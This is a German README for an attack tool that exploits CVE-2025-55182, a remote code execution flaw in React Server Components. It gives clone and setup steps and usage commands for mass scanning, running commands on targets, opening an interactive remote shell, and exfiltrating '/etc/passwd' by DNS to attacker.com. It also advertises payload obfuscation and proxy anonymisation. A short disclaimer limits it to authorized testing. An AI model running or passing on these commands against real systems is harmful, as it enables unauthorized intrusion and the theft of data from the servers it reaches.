
Fortgeschrittener React Server Components RCE-Scanner für CVE-2025-55182. Funktionen: mehrstufiges Fingerprinting, Schwachstellenverifizierung, DNS-Exfiltration, interaktive Shell, Payload-Obfuskierung und professionelles Reporting (JSON/HTML/PDF). Nur autorisiertes Testen.
Dieses Tool wurde ausschließlich für BILDUNGS- und AUTORISIERTE SICHERHEITSTEST-Zwecke entwickelt. Die unbefugte Nutzung dieser Software gegen Ziele ohne vorherige schriftliche Zustimmung stellt einen Verstoß gegen internationale Computerkriminalitätsgesetze dar, einschließlich des Computer Fraud and Abuse Act (CFAA), der DSGVO-Vorgaben und der üblichen Nutzungsbedingungen. Der Autor und die Mitwirkenden lehnen jegliche Haftung für Missbrauch, illegale Handlungen oder Folgeschäden ab, die aus diesem Programm resultieren. Die Nutzung erfolgt ausschließlich auf eigenes Risiko.
ReactRCE-Scanner ist ein unternehmensgerechtes Framework zur Sicherheitsbewertung und -verifizierung, das speziell für CVE-2025-55182 [1] entwickelt wurde, eine kritische Remote Code Execution (RCE)-Schwachstelle, die React Server Components in den Versionen 19.0.0 bis 19.2.0 betrifft.
Das Framework schließt die Lücke zwischen theoretischer Schwachstellenforschung und praktischer Sicherheitsvalidierung. Durch die Integration von mehrstufigem Fingerprinting, rigoroser Reduzierung von Fehlalarmen, fortschrittlicher Payload-Verschleierung und automatisierter Berichterstellung in mehreren Formaten bietet es Sicherheitsingenieuren präzise Diagnosefähigkeiten.
| Nutzung | Scan-Ergebnisse |
|---|---|
| Funktionskategorie | Implementierungs-Highlight | Betriebsstatus |
|---|---|---|
| Intelligentes Fingerprinting | Multi-Source-Framework- und Versionserkennung mit Konfidenz-Bewertungsalgorithmen. | ✅ |
| Mehrstufige Verifizierung | 5-stufige Validierungspipeline zur systematischen Eliminierung von Fehlalarmen. | ✅ |
| Payload-Generierung | Verschleierter Payload-Builder mit Unterstützung für DNS-Exfiltration und Multi-Encoding. | ✅ |
| Interaktive Shell | Echtzeit-Pseudo-interaktive Befehlsausführung und Shell-Zugriff auf verifizierten Zielen. | ✅ |
| Umfassende Berichterstellung | Automatisierte Berichterstellung in den Formaten JSON, HTML, PDF und Markdown. | ✅ |
| DNS-Exfiltration | Out-of-Band-Befehlsausgabe-Exfiltration über sichere DNS-Abfrageverarbeitung. | ✅ |
| Parallelisierungs-Engine | Hochperformante mehrthreadige Scan-Architektur für große Angriffsflächen. | ✅ |
| Proxy-Integration | HTTP/HTTPS- und SOCKS-Proxy-Unterstützung für anonymisierten Bewertungsverkehr. | ✅ |
Klonen Sie das Repository und initialisieren Sie die Umgebung mithilfe des automatisierten Setup-Skripts oder der manuellen Abhängigkeitsinstallation:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
Das Framework arbeitet über eine modulare CLI-Architektur, die Einzelziel-Validierung, Massen-Scans aus Dateilisten, interaktives Shell-Spawning und Compliance-Berichterstellung unterstützt.
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
Das Framework führt eine tiefgehende Aufklärung vor der Payload-Übermittlung durch. Es analysiert mehrere HTTP-Header-Felder (X-Powered-By, Next-Action, RSC), strukturelle HTML-Meta-Tags (data-reactroot, __NEXT_DATA__), statische Build-Assets und JavaScript-Quellbundles [2] [3].
Konfidenzwerte werden in vier Stufen kategorisiert:
CRITICAL (95%+): Mehrere orthogonale Indikatoren bestätigen anfällige React Server Component Runtime-Versionen.
HIGH (75–95%): Starke strukturelle Indikatoren mit exakter Versionsübereinstimmung identifiziert.
MEDIUM (50–75%): Teilweise Framework-Marker vorhanden; manuelle Verifizierung erforderlich.
LOW (<50%): Schwache Heuristiken erkannt; hohe Wahrscheinlichkeit eines Fehlalarms.
Um die Betriebsintegrität zu wahren und unbeabsichtigte Dienstunterbrechungen zu verhindern, durchlaufen Payloads eine strenge Validierungspipeline, bevor eine Exploit-Phase freigeschaltet wird.